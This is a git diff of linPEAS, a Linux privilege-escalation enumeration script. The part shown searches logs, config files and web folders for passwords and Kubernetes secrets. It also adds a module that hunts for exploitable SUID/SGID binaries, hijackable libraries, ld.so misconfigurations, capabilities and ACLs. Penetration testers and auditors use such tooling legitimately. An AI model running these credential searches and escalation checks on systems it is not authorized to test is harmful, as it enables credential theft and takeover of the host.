|
|
||||||
fi
|
|
||||||
|
|
||||||
##-- IF) Passwords inside logs
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
print_2title "Searching passwords inside logs (limit 70)"
|
|
||||||
(find /var/log/ /private/var/log -type f -exec grep -R -i "pwd\|passw" "{}" \;) 2>/dev/null | sed '/^.\{150\}./d' | sort | uniq | grep -v "File does not exist:\|script not found or unable to stat:\|\"GET /.*\" 404" | head -n 70 | sed -${E} "s,pwd|passw,${SED_RED},"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
if [ "$DEBUG" ]; then
|
|
||||||
##-- IF) Emails inside logs
|
|
||||||
print_2title "Searching emails inside logs (limit 70)"
|
|
||||||
(find /var/log/ /private/var/log -type f -exec grep -I -R -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" "{}" \;) 2>/dev/null | sort | uniq -c | sort -r -n | head -n 70 | sed -${E} "s,$knw_emails,${SED_GREEN},g"
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
if ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && [ "$TIMEOUT" ]; then
|
|
||||||
##-- IF) Find possible files with passwords
|
|
||||||
print_2title "Searching passwords inside key folders (limit 70) - only PHP files"
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
intpwdfiles=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ $backup_folders_row /tmp /etc /mnt /private -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
|
|
||||||
else
|
|
||||||
intpwdfiles=$(timeout 150 find $SEARCH_IN_FOLDER -type f -exec grep -RiIE "(pwd|passwd|password|PASSWD|PASSWORD|dbuser|dbpass).*[=:].+|define ?\('(\w*passw|\w*user|\w*datab)" '{}' \; 2>/dev/null)
|
|
||||||
fi
|
|
||||||
printf "%s\n" "$intpwdfiles" | grep -I ".php:" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
print_2title "Searching passwords inside key folders (limit 70) - no PHP files"
|
|
||||||
printf "%s\n" "$intpwdfiles" | grep -vI ".php:" | grep -E "^/" | grep ":" | sed '/^.\{150\}./d' | sort | uniq | grep -iIv "linpeas" | head -n 70 | sed -${E} "s,[pP][wW][dD]|[pP][aA][sS][sS][wW]|[dD][eE][fF][iI][nN][eE],${SED_RED},g"
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Find possible files with passwords
|
|
||||||
print_2title "Searching possible password variables inside key folders (limit 140)"
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
timeout 150 find $HOMESEARCH -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
|
||||||
timeout 150 find /var/www $backup_folders_row /tmp /etc /mnt /private grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
|
||||||
else
|
|
||||||
timeout 150 find $SEARCH_IN_FOLDER -exec grep -HnRiIE "($pwd_in_variables1|$pwd_in_variables2|$pwd_in_variables3|$pwd_in_variables4|$pwd_in_variables5|$pwd_in_variables6|$pwd_in_variables7|$pwd_in_variables8|$pwd_in_variables9|$pwd_in_variables10|$pwd_in_variables11).*[=:].+" '{}' \; 2>/dev/null | sed '/^.\{150\}./d' | grep -Ev "^#" | grep -iv "linpeas" | sort | uniq | head -n 70 | sed -${E} "s,$pwd_in_variables1,${SED_RED},g" | sed -${E} "s,$pwd_in_variables2,${SED_RED},g" | sed -${E} "s,$pwd_in_variables3,${SED_RED},g" | sed -${E} "s,$pwd_in_variables4,${SED_RED},g" | sed -${E} "s,$pwd_in_variables5,${SED_RED},g" | sed -${E} "s,$pwd_in_variables6,${SED_RED},g" | sed -${E} "s,$pwd_in_variables7,${SED_RED},g" | sed -${E} "s,$pwd_in_variables8,${SED_RED},g" | sed -${E} "s,$pwd_in_variables9,${SED_RED},g" | sed -${E} "s,$pwd_in_variables10,${SED_RED},g" | sed -${E} "s,$pwd_in_variables11,${SED_RED},g" &
|
|
||||||
fi
|
|
||||||
wait
|
|
||||||
echo ""
|
|
||||||
|
|
||||||
##-- IF) Find possible conf files with passwords
|
|
||||||
print_2title "Searching possible password in config files (if k8s secrets are found you need to read the file)"
|
|
||||||
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
|
||||||
ppicf=$(timeout 150 find $HOMESEARCH /var/www/ /usr/local/www/ /etc /opt /tmp /private /Applications /mnt -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
|
||||||
else
|
|
||||||
ppicf=$(timeout 150 find $SEARCH_IN_FOLDER -name "*.conf" -o -name "*.cnf" -o -name "*.config" -name "*.json" -name "*.yml" -name "*.yaml" 2>/dev/null)
|
|
||||||
fi
|
|
||||||
printf "%s\n" "$ppicf" | while read f; do
|
|
||||||
if grep -qEiI 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' \"$f\" 2>/dev/null; then
|
|
||||||
echo "$ITALIC $f$NC"
|
|
||||||
grep -HnEiIo 'passwd.*|creden.*|^kind:\W?Secret|\Wenv:|\Wsecret:|\WsecretName:|^kind:\W?EncryptionConfiguration|\-\-encriyption\-provider\-config' "$f" 2>/dev/null | sed -${E} "s,[pP][aA][sS][sS][wW]|[cC][rR][eE][dD][eE][nN],${SED_RED},g"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
echo ""
|
|
||||||
fi
|
|
||||||
491
linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh
Normal file
491
linPEAS/builder/linpeas_parts/8_interesting_perms_files.sh
Normal file
@@ -0,0 +1,491 @@
|
|||||||
|
###########################################
|
||||||
|
#-) Files with Interesting Permissions (-#
|
||||||
|
###########################################
|
||||||
|
|
||||||
|
check_critial_root_path(){
|
||||||
|
folder_path="$1"
|
||||||
|
if [ -w "$folder_path" ]; then echo "You have write privileges over $folder_path" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||||
|
if [ "$(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then echo "You have write privileges over $(find $folder_path -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')')" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||||
|
if [ "$(find $folder_path -type f -not -user root 2>/dev/null)" ]; then echo "The following files aren't owned by root: $(find $folder_path -type f -not -user root 2>/dev/null)"; fi
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
##-- IPF) SUID
|
||||||
|
print_2title "SUID - Check easy privesc, exploits and write perms"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||||
|
if ! [ "$STRINGS" ]; then
|
||||||
|
echo_not_found "strings"
|
||||||
|
fi
|
||||||
|
if ! [ "$STRACE" ]; then
|
||||||
|
echo_not_found "strace"
|
||||||
|
fi
|
||||||
|
suids_files=$(find $ROOT_FOLDER -perm -4000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||||
|
for s in $suids_files; do
|
||||||
|
s=$(ls -lahtr "$s")
|
||||||
|
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||||
|
if echo "$s" | grep -qE "^total"; then break; fi
|
||||||
|
|
||||||
|
sname="$(echo $s | awk '{print $9}')"
|
||||||
|
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||||
|
true #Don't do nothing
|
||||||
|
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||||
|
echo "You own the SUID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||||
|
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||||
|
echo "You can write SUID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
else
|
||||||
|
c="a"
|
||||||
|
for b in $sidB; do
|
||||||
|
if echo $s | grep -q $(echo $b | cut -d % -f 1); then
|
||||||
|
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||||
|
c=""
|
||||||
|
break;
|
||||||
|
fi
|
||||||
|
done;
|
||||||
|
if [ "$c" ]; then
|
||||||
|
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||||
|
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||||
|
else
|
||||||
|
echo "$s (Unknown SUID binary!)" | sed -${E} "s,/.*,${SED_RED},"
|
||||||
|
printf $ITALIC
|
||||||
|
if ! [ "$FAST" ]; then
|
||||||
|
|
||||||
|
if [ "$STRINGS" ]; then
|
||||||
|
$STRINGS "$sname" 2>/dev/null | sort | uniq | while read sline; do
|
||||||
|
sline_first="$(echo "$sline" | cut -d ' ' -f1)"
|
||||||
|
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||||
|
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||||
|
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||||
|
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||||
|
fi
|
||||||
|
else #If not a path
|
||||||
|
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/' && echo "$sline_first" | grep -Eqv "\.\."; then #Check if existing binary
|
||||||
|
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline) (https://tinyurl.com/suidpath)\n"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$LDD" ] || [ "$READELF" ]; then
|
||||||
|
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
|
||||||
|
fi
|
||||||
|
if [ "$LDD" ]; then
|
||||||
|
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||||
|
fi
|
||||||
|
if [ "$READELF" ]; then
|
||||||
|
"$READELF" -d "$sname" | grep PATH | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$TIMEOUT" ] && [ "$STRACE" ] && ! [ "$NOTEXPORT" ] && [ -x "$sname" ]; then
|
||||||
|
printf $ITALIC
|
||||||
|
echo "----------------------------------------------------------------------------------------"
|
||||||
|
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||||
|
OLD_LD_LIBRARY_PATH=$LD_LIBRARY_PATH
|
||||||
|
export LD_LIBRARY_PATH=""
|
||||||
|
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||||
|
printf $NC
|
||||||
|
export LD_LIBRARY_PATH=$OLD_LD_LIBRARY_PATH
|
||||||
|
echo "----------------------------------------------------------------------------------------"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done;
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
|
||||||
|
##-- IPF) SGID
|
||||||
|
print_2title "SGID"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid"
|
||||||
|
sgids_files=$(find $ROOT_FOLDER -perm -2000 -type f ! -path "/dev/*" 2>/dev/null)
|
||||||
|
for s in $sgids_files; do
|
||||||
|
s=$(ls -lahtr "$s")
|
||||||
|
#If starts like "total 332K" then no SUID bin was found and xargs just executed "ls" in the current folder
|
||||||
|
if echo "$s" | grep -qE "^total";then break; fi
|
||||||
|
|
||||||
|
sname="$(echo $s | awk '{print $9}')"
|
||||||
|
if [ "$sname" = "." ] || [ "$sname" = ".." ]; then
|
||||||
|
true #Don't do nothing
|
||||||
|
elif ! [ "$IAMROOT" ] && [ -O "$sname" ]; then
|
||||||
|
echo "You own the SGID file: $sname" | sed -${E} "s,.*,${SED_RED},"
|
||||||
|
elif ! [ "$IAMROOT" ] && [ -w "$sname" ]; then #If write permision, win found (no check exploits)
|
||||||
|
echo "You can write SGID file: $sname" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
else
|
||||||
|
c="a"
|
||||||
|
for b in $sidB; do
|
||||||
|
if echo "$s" | grep -q $(echo $b | cut -d % -f 1); then
|
||||||
|
echo "$s" | sed -${E} "s,$(echo $b | cut -d % -f 1),${C}[1;31m& ---> $(echo $b | cut -d % -f 2)${C}[0m,"
|
||||||
|
c=""
|
||||||
|
break;
|
||||||
|
fi
|
||||||
|
done;
|
||||||
|
if [ "$c" ]; then
|
||||||
|
if echo "$s" | grep -qE "$sidG1" || echo "$s" | grep -qE "$sidG2" || echo "$s" | grep -qE "$sidG3" || echo "$s" | grep -qE "$sidG4" || echo "$s" | grep -qE "$sidVB" || echo "$s" | grep -qE "$sidVB2"; then
|
||||||
|
echo "$s" | sed -${E} "s,$sidG1,${SED_GREEN}," | sed -${E} "s,$sidG2,${SED_GREEN}," | sed -${E} "s,$sidG3,${SED_GREEN}," | sed -${E} "s,$sidG4,${SED_GREEN}," | sed -${E} "s,$sidVB,${SED_RED_YELLOW}," | sed -${E} "s,$sidVB2,${SED_RED_YELLOW},"
|
||||||
|
else
|
||||||
|
echo "$s (Unknown SGID binary)" | sed -${E} "s,/.*,${SED_RED},"
|
||||||
|
printf $ITALIC
|
||||||
|
if ! [ "$FAST" ]; then
|
||||||
|
|
||||||
|
if [ "$STRINGS" ]; then
|
||||||
|
$STRINGS "$sname" | sort | uniq | while read sline; do
|
||||||
|
sline_first="$(echo $sline | cut -d ' ' -f1)"
|
||||||
|
if echo "$sline_first" | grep -qEv "$cfuncs"; then
|
||||||
|
if echo "$sline_first" | grep -q "/" && [ -f "$sline_first" ]; then #If a path
|
||||||
|
if [ -O "$sline_first" ] || [ -w "$sline_first" ]; then #And modifiable
|
||||||
|
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is using $RED$sline_first$NC$ITALIC and you can modify it (strings line: $sline)\n"
|
||||||
|
fi
|
||||||
|
else #If not a path
|
||||||
|
if [ ${#sline_first} -gt 2 ] && command -v "$sline_first" 2>/dev/null | grep -q '/'; then #Check if existing binary
|
||||||
|
printf "$ITALIC --- It looks like $RED$sname$NC$ITALIC is executing $RED$sline_first$NC$ITALIC and you can impersonate it (strings line: $sline)\n"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$LDD" ] || [ "$READELF" ]; then
|
||||||
|
echo "$ITALIC --- Checking for writable dependencies of $sname...$NC"
|
||||||
|
fi
|
||||||
|
if [ "$LDD" ]; then
|
||||||
|
"$LDD" "$sname" | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||||
|
fi
|
||||||
|
if [ "$READELF" ]; then
|
||||||
|
"$READELF" -d "$sname" | grep PATH | grep -E "$Wfolders" | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$TIMEOUT" ] && [ "$STRACE" ] && [ ! "$SUPERFAST" ]; then
|
||||||
|
printf "$ITALIC"
|
||||||
|
echo " --- Trying to execute $sname with strace in order to look for hijackable libraries..."
|
||||||
|
timeout 2 "$STRACE" "$sname" 2>&1 | grep -i -E "open|access|no such file" | sed -${E} "s,open|access|No such file,${SED_RED}$ITALIC,g"
|
||||||
|
printf "$NC"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done;
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IPF) Misconfigured ld.so
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ] && ! [ "$IAMROOT" ]; then
|
||||||
|
print_2title "Checking misconfigurations of ld.so"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#ld.so"
|
||||||
|
if [ -f "/etc/ld.so.conf" ] && [ -w "/etc/ld.so.conf" ]; then
|
||||||
|
echo "You have write privileges over /etc/ld.so.conf" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||||
|
printf $RED$ITALIC"/etc/ld.so.conf\n"$NC;
|
||||||
|
else
|
||||||
|
printf $GREEN$ITALIC"/etc/ld.so.conf\n"$NC;
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "Content of /etc/ld.so.conf:"
|
||||||
|
cat /etc/ld.so.conf 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||||
|
|
||||||
|
# Check each configured folder
|
||||||
|
cat /etc/ld.so.conf 2>/dev/null | while read l; do
|
||||||
|
if echo "$l" | grep -q include; then
|
||||||
|
ini_path=$(echo "$l" | cut -d " " -f 2)
|
||||||
|
fpath=$(dirname "$ini_path")
|
||||||
|
|
||||||
|
if [ -d "/etc/ld.so.conf" ] && [ -w "$fpath" ]; then
|
||||||
|
echo "You have write privileges over $fpath" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||||
|
printf $RED_YELLOW$ITALIC"$fpath\n"$NC;
|
||||||
|
else
|
||||||
|
printf $GREEN$ITALIC"$fpath\n"$NC;
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" ]; then
|
||||||
|
echo "You have write privileges over $(find $fpath -type f '(' '(' -user $USER ')' -or '(' -perm -o=w ')' -or '(' -perm -g=w -and '(' $wgroups ')' ')' ')' 2>/dev/null)" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||||
|
fi
|
||||||
|
|
||||||
|
for f in $fpath/*; do
|
||||||
|
if [ -w "$f" ]; then
|
||||||
|
echo "You have write privileges over $f" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||||
|
printf $RED_YELLOW$ITALIC"$f\n"$NC;
|
||||||
|
else
|
||||||
|
printf $GREEN$ITALIC" $f\n"$NC;
|
||||||
|
fi
|
||||||
|
|
||||||
|
cat "$f" | grep -v "^#" | while read l2; do
|
||||||
|
if [ -f "$l2" ] && [ -w "$l2" ]; then
|
||||||
|
echo "You have write privileges over $l2" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||||
|
printf $RED_YELLOW$ITALIC" - $l2\n"$NC;
|
||||||
|
else
|
||||||
|
echo $ITALIC" - $l2"$NC | sed -${E} "s,$l2,${SED_GREEN}," | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g";
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
|
||||||
|
if [ -f "/etc/ld.so.preload" ] && [ -w "/etc/ld.so.preload" ]; then
|
||||||
|
echo "You have write privileges over /etc/ld.so.preload" | sed -${E} "s,.*,${SED_RED_YELLOW},";
|
||||||
|
else
|
||||||
|
printf $ITALIC$GREEN"/etc/ld.so.preload\n"$NC;
|
||||||
|
fi
|
||||||
|
cat /etc/ld.so.preload 2>/dev/null | sed -${E} "s,$Wfolders,${SED_RED_YELLOW},g"
|
||||||
|
cat /etc/ld.so.preload 2>/dev/null | while read l; do
|
||||||
|
if [ -f "$l" ] && [ -w "$l" ]; then echo "You have write privileges over $l" | sed -${E} "s,.*,${SED_RED_YELLOW},"; fi
|
||||||
|
done
|
||||||
|
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Capabilities
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
print_2title "Capabilities"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||||
|
if [ "$(command -v capsh)" ]; then
|
||||||
|
|
||||||
|
print_3title "Current shell capabilities"
|
||||||
|
cat "/proc/$$/status" | grep Cap | while read -r cap_line; do
|
||||||
|
cap_name=$(echo "$cap_line" | awk '{print $1}')
|
||||||
|
cap_value=$(echo "$cap_line" | awk '{print $2}')
|
||||||
|
if [ "$cap_name" = "CapEff:" ]; then
|
||||||
|
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
|
||||||
|
else
|
||||||
|
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
print_3title "Parent process capabilities"
|
||||||
|
cat "/proc/$PPID/status" | grep Cap | while read -r cap_line; do
|
||||||
|
cap_name=$(echo "$cap_line" | awk '{print $1}')
|
||||||
|
cap_value=$(echo "$cap_line" | awk '{print $2}')
|
||||||
|
if [ "$cap_name" = "CapEff:" ]; then
|
||||||
|
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED_YELLOW},")"
|
||||||
|
else
|
||||||
|
echo "$cap_name $(capsh --decode=0x"$cap_value" | sed -${E} "s,$capsB,${SED_RED},")"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
else
|
||||||
|
print_3title "Current shell capabilities"
|
||||||
|
(cat "/proc/$$/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$$/status"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
print_3title "Parent proc capabilities"
|
||||||
|
(cat "/proc/$PPID/status" | grep Cap | sed -${E} "s,.*0000000000000000|CapBnd: 0000003fffffffff,${SED_GREEN},") 2>/dev/null || echo_not_found "/proc/$PPID/status"
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
|
echo "Files with capabilities (limited to 50):"
|
||||||
|
getcap -r / 2>/dev/null | head -n 50 | while read cb; do
|
||||||
|
capsVB_vuln=""
|
||||||
|
|
||||||
|
for capVB in $capsVB; do
|
||||||
|
capname="$(echo $capVB | cut -d ':' -f 1)"
|
||||||
|
capbins="$(echo $capVB | cut -d ':' -f 2)"
|
||||||
|
if [ "$(echo $cb | grep -Ei $capname)" ] && [ "$(echo $cb | grep -E $capbins)" ]; then
|
||||||
|
echo "$cb" | sed -${E} "s,.*,${SED_RED_YELLOW},"
|
||||||
|
capsVB_vuln="1"
|
||||||
|
break
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! [ "$capsVB_vuln" ]; then
|
||||||
|
echo "$cb" | sed -${E} "s,$capsB,${SED_RED},"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if ! [ "$IAMROOT" ] && [ -w "$(echo $cb | cut -d" " -f1)" ]; then
|
||||||
|
echo "$cb is writable" | sed -${E} "s,.*,${SED_RED},"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Users with capabilities
|
||||||
|
if [ -f "/etc/security/capability.conf" ] || [ "$DEBUG" ]; then
|
||||||
|
print_2title "Users with capabilities"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities"
|
||||||
|
if [ -f "/etc/security/capability.conf" ]; then
|
||||||
|
grep -v '^#\|none\|^$' /etc/security/capability.conf 2>/dev/null | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||||
|
else echo_not_found "/etc/security/capability.conf"
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) AppArmor profiles to prevent suid/capabilities abuse
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
if [ -d "/etc/apparmor.d/" ] && [ -r "/etc/apparmor.d/" ]; then
|
||||||
|
print_2title "AppArmor binary profiles"
|
||||||
|
ls -l /etc/apparmor.d/ 2>/dev/null | grep -E "^-" | grep "\."
|
||||||
|
echo ""
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
##-- IPF) Files with ACLs
|
||||||
|
print_2title "Files with ACLs (limited to 50)"
|
||||||
|
print_info "https://book.hacktricks.xyz/linux-hardening/privilege-escalation#acls"
|
||||||
|
if ! [ "$SEARCH_IN_FOLDER" ]; then
|
||||||
|
( (getfacl -t -s -R -p /bin /etc $HOMESEARCH /opt /sbin /usr /tmp /root 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||||
|
else
|
||||||
|
( (getfacl -t -s -R -p $SEARCH_IN_FOLDER 2>/dev/null) || echo_not_found "files with acls in searched folders" ) | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||||
|
fi
|
||||||
|
|
||||||
|
if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ] && ! [ "$(command -v getfacl)" ]; then #Find ACL files in macos (veeeery slow)
|
||||||
|
ls -RAle / 2>/dev/null | grep -v "group:everyone deny delete" | grep -E -B1 "\d: " | head -n 70 | sed -${E} "s,$sh_usrs,${SED_LIGHT_CYAN}," | sed -${E} "s,$nosh_usrs,${SED_BLUE}," | sed -${E} "s,$knw_usrs,${SED_GREEN}," | sed "s,$USER,${SED_RED},"
|
||||||
|
fi
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
##-- IPF) Files with ResourceFork
|
||||||
|
#if [ "$MACPEAS" ] && ! [ "$FAST" ] && ! [ "$SUPERFAST" ]; then # TOO SLOW, CHECK IT LATER
|
||||||
|
# print_2title "Files with ResourceFork"
|
||||||
|
# print_info "https://book.hacktricks.xyz/macos/macos-security-and-privilege-escalation#resource-forks-or-macos-ads"
|
||||||
